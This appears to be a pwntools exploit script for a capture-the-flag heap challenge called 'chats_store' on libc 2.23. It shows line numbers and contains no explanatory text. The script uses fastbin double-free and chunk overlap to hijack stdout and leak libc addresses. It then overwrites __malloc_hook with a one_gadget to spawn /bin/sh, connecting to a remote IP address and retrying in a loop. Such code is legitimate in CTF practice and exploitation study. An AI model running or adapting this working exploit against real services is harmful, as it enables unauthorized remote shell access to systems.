1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
| ''' from pwn import * p=prcess('./chats_store') libc=ELF('./libc-2.23.so') context.log_level='debug' p.interactive() '''
from pwn import *
global p
libc=ELF('./libc-2.23.so') elf=ELF('./chats_store') context.log_level='debug'
puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] def add(idx,size,content): p.sendlineafter('> ','1') p.sendlineafter('No. > ',str(idx)) p.sendlineafter('size> ',str(size)) p.sendafter('chats> ',content) def free(idx): p.sendlineafter('> ','2') p.sendlineafter('No. > ',str(idx)) #0x7fcec24d05dd sdtout-0x43 def pwn(): add(0,0x68,b'aaaa') add(1,0x68,b'aaaa') add(3,0x68,b'aaaa') add(4,0x68,b'aaaa') add(5,0x68,b'aaaa') add(6,0x68,b'aaaa') add(7,0x68,b'aaaa') add(8,0x68,b'aaaa') add(9,0x68,b'aaaa') add(10,0x68,b'aaaa') add(11,0x28,b'aaaa') add(12,0x68,b'aaaa') add(13,0x68,b'aaaa') add(14,0x68,b'aaaa') ##### free(0) add(0,0x68,b'\x00'*0x68+b'\xe1') free(1) add(1,0x68,b'\xdd\x65') free(4) free(5) free(4) add(4,0x68,b'\x70\xb0') #gdb.attach(p) add(5,0x68,b'aaaa') add(5,0x68,b'aaaa')#unsorted add(6,0x68,b'aaaa') payload=b'\x00'*0x33 payload+=p64(0xfadb1887)+p64(0)*3+b'\x88' add(6,0x68,payload) libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x3c48e0 free_hook=libc_base+libc.sym['__free_hook'] malloc_hook=libc_base+libc.sym['__malloc_hook'] system=libc_base+libc.sym['system'] realloc=libc_base+libc.sym['realloc'] success(hex(libc_base)) usbattack=free_hook-0x10 #add(15,0) ''' 0x45226 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL
0xf03a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL
0xf1247 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
''' onegadget=libc_base+0x4527a #push -8 free(7) free(8) free(7) add(7,0x68,p64(malloc_hook-0x23)) add(8,0x68,b'/bin/sh\x00') add(9,0x68,b'/bin/sh\x00') payload=b'\x00'*(11)+p64(onegadget)+p64(realloc+0xd)+b'/bin/sh\x00' add(10,0x68,payload) p.sendlineafter('> ','1') p.sendlineafter('No. > ',str(11)) p.sendlineafter('size> ',str(0x68)) p.interactive() if __name__ == "__main__": while True: #p=process('./chats_store') p=remote('43.138.52.3',53000) try: pwn() except: p.close()
|